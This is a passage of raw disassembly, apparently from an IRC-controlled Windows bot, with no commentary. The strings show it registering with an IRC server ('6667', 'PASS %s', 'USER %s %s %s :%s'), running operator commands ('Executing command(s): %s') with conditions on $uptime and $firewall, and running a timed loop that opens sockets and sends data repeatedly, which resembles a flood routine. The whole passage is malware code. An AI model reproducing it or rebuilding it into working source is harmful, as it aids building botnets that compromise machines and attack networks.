		pop	ecx
		push	eax
		lea	eax, [ebp+var_C+3]
		push	eax
		call	sub_407290
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_407290
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+4]
		push	offset dword_413844
		push	eax
		call	sub_408D50
		add	esp, 1Ch
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_40801B:				; CODE XREF: sub_40735A+C32j
		push	dword ptr [esi+4]
		push	offset dword_413828
		jmp	loc_4079E3
; ---------------------------------------------------------------------------


loc_408028:				; CODE XREF: sub_40735A+BF1j
		cmp	edi, dword_41381C
		jnz	loc_4080EC
		call	sub_41084A	; clock
		mov	[ebp+arg_0], eax
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		mov	[ebp+arg_14], ebx
		mov	byte ptr [ebp+arg_18+3], bl
		call	sub_410850	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		call	sub_41084A	; clock
		sub	eax, [ebp+arg_0]
		mov	edi, 3E8h
		cmp	eax, edi
		jnb	short loc_4080D9


loc_40806A:				; CODE XREF: sub_40735A+D73j
		push	0FFFFh
		push	1
		call	sub_40AADE
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_411248	; htons
		push	4
		push	ebx
		mov	[ebp+var_E], ax
		call	sub_40315E
		pop	ecx
		mov	[ebp+var_C], eax
		pop	ecx
		push	ebx
		push	2
		push	2
		call	ds:dword_41122C	; socket
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_411208	; connect
		push	ebx
		lea	eax, [ebp+arg_18+3]
		push	1
		push	eax
		push	esi
		call	ds:dword_411220	; send
		push	esi
		call	ds:dword_411240	; closesocket
		add	[ebp+arg_14], 2Bh
		call	sub_41084A	; clock
		sub	eax, [ebp+arg_0]
		cmp	eax, edi
		jb	short loc_40806A
		mov	eax, [ebp+arg_14]
		cmp	eax, 400h
		ja	short loc_4080DE


loc_4080D9:				; CODE XREF: sub_40735A+D0Ej
		mov	eax, 400h


loc_4080DE:				; CODE XREF: sub_40735A+D7Dj
		shr	eax, 0Ah
		push	eax
		push	offset dword_413804
		jmp	loc_4079E3
; ---------------------------------------------------------------------------


loc_4080EC:				; CODE XREF: sub_40735A+CD4j
		cmp	edi, dword_4137FC
		jz	loc_408362
		cmp	edi, dword_4137F0
		jz	loc_408362
		cmp	edi, dword_4137E4
		jnz	short loc_408129
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40EC6F


loc_408121:				; CODE XREF: sub_40735A+3C7j
					; sub_40735A+41Cj ...
		add	esp, 10h
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_408129:				; CODE XREF: sub_40735A+DB0j
		cmp	edi, dword_4137DC
		jz	loc_408351
		cmp	edi, dword_4137D0
		jz	loc_408351
		cmp	edi, dword_4137C8
		jz	loc_408340
		cmp	edi, dword_4137BC
		jz	loc_408340
		cmp	edi, dword_4137AC
		jnz	short loc_408198
		push	eax
		push	offset a9252	; "9252"
		call	sub_4035FB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp+var_1BC]
		push	esi
		push	offset dword_412B28
		push	eax
		call	sub_408D50
		add	esp, 0Ch
		test	esi, esi
		jz	loc_4083EE
		push	esi
		call	sub_4038E1
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_408198:				; CODE XREF: sub_40735A+E05j
		cmp	edi, dword_413798
		jnz	short loc_4081B1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4062EC
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_4081B1:				; CODE XREF: sub_40735A+E44j
		cmp	edi, dword_413790
		jz	short loc_40822A
		cmp	edi, dword_413784
		jz	short loc_40822A
		cmp	edi, dword_41377C
		jnz	loc_4083EE
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_4083EE
		cmp	[esi+8], ebx
		jz	loc_4083EE
		push	2
		push	offset aId	; "id"
		push	eax
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408206
		push	dword ptr [esi+8]
		push	offset byte_418BF8
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_408206:				; CODE XREF: sub_40735A+E9Bj
		push	offset aUsername ; "username"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4083EE
		push	dword ptr [esi+8]
		push	offset byte_418D78
		jmp	loc_40788D
; ---------------------------------------------------------------------------


loc_40822A:				; CODE XREF: sub_40735A+E5Dj
					; sub_40735A+E65j
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_40823F
		push	esi
		call	sub_41088C	; atoi
		pop	ecx
		mov	[ebp+arg_14], eax
		jmp	short loc_408242
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_40735A+ED7j
		mov	[ebp+arg_14], ebx


loc_408242:				; CODE XREF: sub_40735A+EE3j
		call	sub_40639B
		mov	edi, 15180h
		xor	edx, edx
		mov	esi, edi
		mov	ecx, eax
		div	esi
		xor	edx, edx
		mov	esi, 0E10h
		mov	ebx, esi
		push	3Ch
		mov	[ebp+arg_18], eax
		mov	eax, ecx
		mov	ecx, edi
		div	ecx
		mov	ecx, edx
		xor	edx, edx
		mov	eax, ecx
		div	ebx
		xor	edx, edx
		mov	[ebp+var_14], eax
		mov	eax, ecx
		mov	ecx, esi
		div	ecx
		pop	ecx
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_14]
		cmp	[ebp+arg_18], eax
		jb	loc_4083EE
		call	sub_40640D
		xor	edx, edx
		mov	ebx, edi
		mov	ecx, eax
		push	3Ch
		div	ebx
		xor	edx, edx
		mov	[ebp+arg_10], eax
		mov	eax, ecx
		div	edi
		mov	edi, esi
		mov	ecx, edx
		xor	edx, edx
		mov	eax, ecx
		div	edi
		xor	edx, edx
		mov	[ebp+arg_8], eax
		mov	eax, ecx
		div	esi
		pop	ecx
		push	1
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	edx, offset byte_417B60
		mov	ecx, offset dword_4131C0
		mov	[ebp+arg_14], edx
		mov	ebx, eax
		pop	eax
		cmp	ebx, eax
		jz	short loc_4082DC
		mov	[ebp+arg_14], ecx


loc_4082DC:				; CODE XREF: sub_40735A+F7Dj
		cmp	[ebp+arg_8], eax
		mov	[ebp+arg_0], edx
		jz	short loc_4082E7
		mov	[ebp+arg_0], ecx


loc_4082E7:				; CODE XREF: sub_40735A+F88j
		cmp	[ebp+arg_10], eax
		mov	[ebp+arg_C], edx
		jz	short loc_4082F2
		mov	[ebp+arg_C], ecx


loc_4082F2:				; CODE XREF: sub_40735A+F93j
		cmp	[ebp+var_18], eax
		mov	edi, edx
		jz	short loc_4082FB
		mov	edi, ecx


loc_4082FB:				; CODE XREF: sub_40735A+F9Dj
		cmp	[ebp+var_14], eax
		mov	esi, edx
		jz	short loc_408304
		mov	esi, ecx


loc_408304:				; CODE XREF: sub_40735A+FA6j
		cmp	[ebp+arg_18], eax
		jnz	short loc_40830B
		mov	ecx, edx


loc_40830B:				; CODE XREF: sub_40735A+FADj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_1BC]
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_18]
		push	esi
		push	[ebp+var_14]
		push	ecx
		push	[ebp+arg_18]
		push	offset dword_4136F8
		push	eax
		call	sub_408D50
		add	esp, 38h
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_408340:				; CODE XREF: sub_40735A+DEDj
					; sub_40735A+DF9j
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40605E
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_408351:				; CODE XREF: sub_40735A+DD5j
					; sub_40735A+DE1j
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_405BB3
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_408362:				; CODE XREF: sub_40735A+D98j
					; sub_40735A+DA4j
		push	offset dword_41796C
		push	398h
		push	0
		lea	eax, [ebp+var_1BC]
		push	offset dword_4136D4
		push	eax
		call	sub_408D50


loc_40837F:				; CODE XREF: sub_40735A+749j
		add	esp, 14h
		jmp	short loc_4083EE
; ---------------------------------------------------------------------------


loc_408384:				; CODE XREF: sub_40735A+A47j
					; sub_40735A+A53j
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_408E60
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	sub_408BA7
		jmp	loc_408121
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_40735A+A10j
					; sub_40735A+A1Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4018D5


loc_4083B3:				; CODE XREF: sub_40735A+B3j
					; sub_40735A+2A6j ...
		pop	ecx
		jmp	short loc_4083ED
; ---------------------------------------------------------------------------


loc_4083B6:				; CODE XREF: sub_40735A+957j
					; sub_40735A+963j ...
		push	offset aQuitExitting ; "QUIT :exitting"


loc_4083BB:				; CODE XREF: sub_40735A+8C7j
		call	sub_408E60
		jmp	short loc_4083ED
; ---------------------------------------------------------------------------


loc_4083C2:				; CODE XREF: sub_40735A+4BAj
					; sub_40735A+4C6j ...
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40E629
		jmp	loc_4078BA
; ---------------------------------------------------------------------------


loc_4083E2:				; CODE XREF: sub_40735A+357j
					; sub_40735A+363j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_408EC8


loc_4083ED:				; CODE XREF: sub_40735A+71j
					; sub_40735A+2BFj ...
		pop	ecx


loc_4083EE:				; CODE XREF: sub_40735A+E7j
					; sub_40735A+133j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40735A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4083F3	proc near		; CODE XREF: sub_40849F+320p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_4083F7:				; CODE XREF: sub_4083F3+10j
		mov	cl, [eax]
		cmp	cl, 20h
		jnz	short locret_408405
		test	cl, cl
		jz	short locret_408405
		inc	eax
		jmp	short loc_4083F7
; ---------------------------------------------------------------------------

locret_408405:				; CODE XREF: sub_4083F3+9j
					; sub_4083F3+Dj
		retn
sub_4083F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408406	proc near		; DATA XREF: sub_4087CE+4Eo

var_52C		= byte ptr -52Ch
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_187		= byte ptr -187h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 52Ch
		push	esi
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_4]
		mov	esi, offset asc_413DEC ; ";"
		push	eax
		lea	eax, [ebp+var_328]
		push	esi
		push	eax
		call	sub_405733
		add	esp, 1Ch


loc_408445:				; CODE XREF: sub_408406+84j
		test	eax, eax
		jz	short loc_40848C


loc_408449:				; CODE XREF: sub_408406+49j
		cmp	byte ptr [eax],	20h
		jnz	short loc_408451
		inc	eax
		jmp	short loc_408449
; ---------------------------------------------------------------------------


loc_408451:				; CODE XREF: sub_408406+46j
		push	eax
		lea	eax, [ebp+var_187]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		lea	eax, [ebp+var_52C]
		push	200h
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_52C]
		push	eax
		call	sub_4098BB
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	0
		call	sub_405733
		add	esp, 24h
		jmp	short loc_408445
; ---------------------------------------------------------------------------


loc_40848C:				; CODE XREF: sub_408406+41j
		push	[ebp+var_32C]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_408406	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40849F	proc near		; CODE XREF: sub_4087CE+6p

var_1D4		= byte ptr -1D4h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1D4h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		test	esi, esi
		jz	loc_4087C7
		cmp	byte ptr [esi],	28h
		jnz	loc_4087C7
		inc	esi
		push	offset asc_413E54 ; ")"
		push	esi
		call	sub_410898	; strstr
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jz	loc_4087C7
		sub	eax, esi
		lea	ecx, [eax+1]
		mov	eax, 180h
		cmp	ecx, eax
		ja	short loc_4084E8
		mov	eax, ecx


loc_4084E8:				; CODE XREF: sub_40849F+45j
		push	eax
		lea	eax, [ebp+var_1D4]
		push	esi
		push	eax
		call	sub_4052A6
		push	1
		lea	eax, [ebp+var_1D4]
		push	1
		push	eax
		call	sub_4053BA
		lea	eax, [ebp+arg_0]
		mov	ebx, offset asc_413E50 ; "&&"
		push	eax
		lea	eax, [ebp+var_1D4]
		push	ebx
		push	eax
		call	sub_405733
		add	esp, 24h


loc_40851F:				; CODE XREF: sub_40849F+316j
		test	eax, eax
		jz	loc_4087BA


loc_408527:				; CODE XREF: sub_40849F+8Ej
		cmp	byte ptr [eax],	20h
		jnz	short loc_40852F
		inc	eax
		jmp	short loc_408527
; ---------------------------------------------------------------------------


loc_40852F:				; CODE XREF: sub_40849F+8Bj
		lea	ecx, [ebp+var_54]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx
		lea	ecx, [ebp+var_34]
		push	ecx
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	eax
		call	sub_410892	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jnz	loc_4087C7
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_41088C	; atoi
		mov	edi, eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_41088C	; atoi
		pop	ecx
		mov	esi, eax
		test	edi, edi
		pop	ecx
		jnz	loc_40863C
		lea	eax, [ebp+var_34]
		push	offset dword_412F1C
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40863C
		lea	eax, [ebp+var_34]
		push	offset aUptime	; "$uptime"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4085B1
		call	sub_40639B
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		jmp	loc_40863A
; ---------------------------------------------------------------------------


loc_4085B1:				; CODE XREF: sub_40849F+FDj
		lea	eax, [ebp+var_34]
		push	offset aVersion	; "$version"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4085CC
		mov	edi, 398h
		jmp	short loc_40863C
; ---------------------------------------------------------------------------


loc_4085CC:				; CODE XREF: sub_40849F+124j
		lea	eax, [ebp+var_34]
		push	offset aFree_0	; "$free"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4085E7
		call	sub_406096
		jmp	short loc_40863A
; ---------------------------------------------------------------------------


loc_4085E7:				; CODE XREF: sub_40849F+13Fj
		lea	eax, [ebp+var_34]
		push	offset aLatency	; "$latency"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408602
		call	sub_405C57
		jmp	short loc_40863A
; ---------------------------------------------------------------------------


loc_408602:				; CODE XREF: sub_40849F+15Aj
		lea	eax, [ebp+var_34]
		push	offset aFirewall ; "$firewall"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40861D
		call	sub_403289
		jmp	short loc_40863A
; ---------------------------------------------------------------------------


loc_40861D:				; CODE XREF: sub_40849F+175j
		lea	eax, [ebp+var_34]
		push	offset aIpv6	; "$ipv6"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4087C7
		call	sub_4033B0


loc_40863A:				; CODE XREF: sub_40849F+10Dj
					; sub_40849F+146j ...
		mov	edi, eax


loc_40863C:				; CODE XREF: sub_40849F+CDj
					; sub_40849F+E5j ...
		test	esi, esi
		jnz	loc_40870E
		lea	eax, [ebp+var_54]
		push	offset dword_412F1C
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40870E
		lea	eax, [ebp+var_54]
		push	offset aUptime	; "$uptime"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408683
		call	sub_40639B
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		jmp	loc_40870C
; ---------------------------------------------------------------------------


loc_408683:				; CODE XREF: sub_40849F+1CFj
		lea	eax, [ebp+var_54]
		push	offset aVersion	; "$version"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40869E
		mov	esi, 398h
		jmp	short loc_40870E
; ---------------------------------------------------------------------------


loc_40869E:				; CODE XREF: sub_40849F+1F6j
		lea	eax, [ebp+var_54]
		push	offset aFree_0	; "$free"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4086B9
		call	sub_406096
		jmp	short loc_40870C
; ---------------------------------------------------------------------------


loc_4086B9:				; CODE XREF: sub_40849F+211j
		lea	eax, [ebp+var_54]
		push	offset aLatency	; "$latency"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4086D4
		call	sub_405C57
		jmp	short loc_40870C
; ---------------------------------------------------------------------------


loc_4086D4:				; CODE XREF: sub_40849F+22Cj
		lea	eax, [ebp+var_54]
		push	offset aFirewall ; "$firewall"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4086EF
		call	sub_403289
		jmp	short loc_40870C
; ---------------------------------------------------------------------------


loc_4086EF:				; CODE XREF: sub_40849F+247j
		lea	eax, [ebp+var_54]
		push	offset aIpv6	; "$ipv6"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4087C7
		call	sub_4033B0


loc_40870C:				; CODE XREF: sub_40849F+1DFj
					; sub_40849F+218j ...
		mov	esi, eax


loc_40870E:				; CODE XREF: sub_40849F+19Fj
					; sub_40849F+1B7j ...
		lea	eax, [ebp+var_14]
		push	offset asc_413E00 ; "=="
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40872A
		cmp	edi, esi
		jnz	loc_4087C7


loc_40872A:				; CODE XREF: sub_40849F+281j
		lea	eax, [ebp+var_14]
		push	offset asc_413DFC ; "!="
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408746
		cmp	edi, esi
		jz	loc_4087C7


loc_408746:				; CODE XREF: sub_40849F+29Dj
		lea	eax, [ebp+var_14]
		push	offset asc_413DF8 ; ">"
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40875E
		cmp	edi, esi
		jbe	short loc_4087C7


loc_40875E:				; CODE XREF: sub_40849F+2B9j
		lea	eax, [ebp+var_14]
		push	offset asc_413DF4 ; ">="
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408776
		cmp	edi, esi
		jb	short loc_4087C7


loc_408776:				; CODE XREF: sub_40849F+2D1j
		lea	eax, [ebp+var_14]
		push	offset dword_41394C
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40878E
		cmp	edi, esi
		jnb	short loc_4087C7


loc_40878E:				; CODE XREF: sub_40849F+2E9j
		lea	eax, [ebp+var_14]
		push	offset asc_413DF0 ; "<="
		push	eax
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4087A6
		cmp	edi, esi
		ja	short loc_4087C7


loc_4087A6:				; CODE XREF: sub_40849F+301j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		call	sub_405733
		add	esp, 0Ch
		jmp	loc_40851F
; ---------------------------------------------------------------------------


loc_4087BA:				; CODE XREF: sub_40849F+82j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_4083F3
		pop	ecx
		jmp	short loc_4087C9
; ---------------------------------------------------------------------------


loc_4087C7:				; CODE XREF: sub_40849F+11j
					; sub_40849F+1Aj ...
		xor	eax, eax


loc_4087C9:				; CODE XREF: sub_40849F+326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40849F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4087CE	proc near		; CODE XREF: sub_40735A+A37p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	[esp+8+arg_4]
		call	sub_40849F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_408829
		push	327h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_408829
		push	180h
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_4052A6
		push	[esp+14h+arg_0]
		lea	eax, [esi+184h]
		push	eax
		call	sub_403E60
		add	esp, 14h
		push	edi
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	esi
		push	offset sub_408406
		call	sub_40663C
		add	esp, 14h


loc_408829:				; CODE XREF: sub_4087CE+10j
					; sub_4087CE+21j
		pop	edi
		pop	esi
		retn
sub_4087CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40882C	proc near		; CODE XREF: sub_401B81+77p
					; sub_408F9D+461p ...
		mov	eax, dword_4186D4
		retn
sub_40882C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408832	proc near		; CODE XREF: sub_408BA7+10p
					; sub_408BA7+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		push	esi
		push	edi
		mov	edi, offset byte_418448
		jz	short loc_408881
		push	[ebp+arg_0]
		push	offset dword_4185C8
		call	sub_410820	; _mbscpy
		cmp	[ebp+arg_4], ebx
		pop	ecx
		pop	ecx
		jz	short loc_40885D
		push	[ebp+arg_4]
		jmp	short loc_408862
; ---------------------------------------------------------------------------


loc_40885D:				; CODE XREF: sub_408832+24j
		push	offset a6667	; "6667"


loc_408862:				; CODE XREF: sub_408832+29j
		mov	ebx, offset dword_4186C8
		push	ebx
		call	sub_410820	; _mbscpy
		cmp	[ebp+arg_8], 0
		pop	ecx
		pop	ecx
		jz	short loc_40887A
		push	[ebp+arg_8]
		jmp	short loc_4088D6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_408832+41j
		push	offset byte_417B60
		jmp	short loc_4088D6
; ---------------------------------------------------------------------------


loc_408881:				; CODE XREF: sub_408832+10j
		xor	esi, esi
		cmp	off_4177B8, ebx
		jz	short loc_408898
		mov	eax, offset off_4177B8


loc_408890:				; CODE XREF: sub_408832+64j
		add	eax, 0Ch
		inc	esi
		cmp	[eax], ebx
		jnz	short loc_408890


loc_408898:				; CODE XREF: sub_408832+57j
		call	sub_40AB05
		xor	edx, edx
		div	esi
		lea	esi, [edx+edx*2]
		shl	esi, 2
		push	off_4177B8[esi]
		push	offset dword_4185C8
		call	sub_410820	; _mbscpy
		push	off_4177BC[esi]
		mov	ebx, offset dword_4186C8
		push	ebx
		call	sub_410820	; _mbscpy
		mov	esi, off_4177C0[esi]
		add	esp, 10h
		test	esi, esi
		jz	short loc_4088DE
		push	esi


loc_4088D6:				; CODE XREF: sub_408832+46j
					; sub_408832+4Dj
		push	edi
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_4088DE:				; CODE XREF: sub_408832+A1j
		push	offset dword_4185C8
		call	sub_40AC15
		push	ebx
		call	sub_40AC15
		push	edi
		call	sub_40AC15
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_408832	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408BA7+B9p
					; sub_408F9D+4BFp

var_238		= byte ptr -238h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_404354
		add	esp, 0Ch
		cmp	byte_418448, 0
		jz	short loc_40894C
		mov	esi, offset byte_418448
		push	esi
		call	sub_40AC4E
		pop	ecx
		push	esi
		push	offset aPassS	; "PASS	%s"
		call	sub_408E60
		push	esi
		call	sub_40AC15
		add	esp, 0Ch


loc_40894C:				; CODE XREF: sub_4088FC+2Ej
		xor	esi, esi
		cmp	[ebp+arg_0], esi
		jz	short loc_4089D0
		cmp	byte_418BF8, 0
		jz	short loc_40896A
		lea	eax, [ebp+var_120]
		push	offset byte_418BF8
		push	eax
		jmp	short loc_408976
; ---------------------------------------------------------------------------


loc_40896A:				; CODE XREF: sub_4088FC+5Ej
		lea	eax, [ebp+var_120]
		push	eax
		push	offset byte_418BF8


loc_408976:				; CODE XREF: sub_4088FC+6Cj
		call	sub_410820	; _mbscpy
		cmp	byte_418D78, 0
		pop	ecx
		pop	ecx
		jz	short loc_408994
		lea	eax, [ebp+var_238]
		push	offset byte_418D78
		push	eax
		jmp	short loc_4089A0
; ---------------------------------------------------------------------------


loc_408994:				; CODE XREF: sub_4088FC+88j
		lea	eax, [ebp+var_238]
		push	eax
		push	offset byte_418D78


loc_4089A0:				; CODE XREF: sub_4088FC+96j
		call	sub_410820	; _mbscpy
		pop	ecx
		lea	eax, [ebp+var_238]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_408E60
		add	esp, 14h


loc_4089D0:				; CODE XREF: sub_4088FC+55j
		cmp	[ebp+arg_4], esi
		jz	loc_408BA4
		cmp	[ebp+arg_0], esi
		jz	short loc_4089FD
		cmp	byte_418B78, 0
		jz	short loc_4089FD
		push	offset byte_418B78
		push	offset dword_413DA8
		call	sub_408E60
		pop	ecx
		pop	ecx
		jmp	loc_408BA4
; ---------------------------------------------------------------------------


loc_4089FD:				; CODE XREF: sub_4088FC+E0j
					; sub_4088FC+E9j
		call	sub_40639B
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, 4
		mov	[ebp+arg_4], eax
		jnb	short loc_408A4D
		call	sub_404691
		test	eax, eax
		jnz	short loc_408A4D
		lea	eax, [ebp+var_A0]
		push	offset loc_4177DC
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_408F4C
		add	esp, 10h
		jmp	loc_408B7F
; ---------------------------------------------------------------------------


loc_408A4D:				; CODE XREF: sub_4088FC+115j
					; sub_4088FC+11Ej
		call	sub_4045E4
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40587E
		test	eax, eax
		pop	ecx
		jnz	short loc_408A70
		lea	eax, [ebp+var_20]
		push	offset aUnk	; "UNK"
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_408A70:				; CODE XREF: sub_4088FC+162j
		call	sub_406096
		mov	ecx, 400h
		cmp	eax, ecx
		jbe	short loc_408A85
		call	sub_406096
		jmp	short loc_408A87
; ---------------------------------------------------------------------------


loc_408A85:				; CODE XREF: sub_4088FC+180j
		mov	eax, ecx


loc_408A87:				; CODE XREF: sub_4088FC+187j
		shr	eax, 0Ah
		push	ebx
		mov	[ebp+arg_0], eax
		call	sub_405C57
		cmp	eax, 2EEh
		mov	ebx, offset aB	; "B"
		jnb	short loc_408AA4
		mov	ebx, offset aA	; "A"


loc_408AA4:				; CODE XREF: sub_4088FC+1A1j
		cmp	eax, 1F4h
		jnb	short loc_408AB0
		mov	ebx, offset aG	; "G"


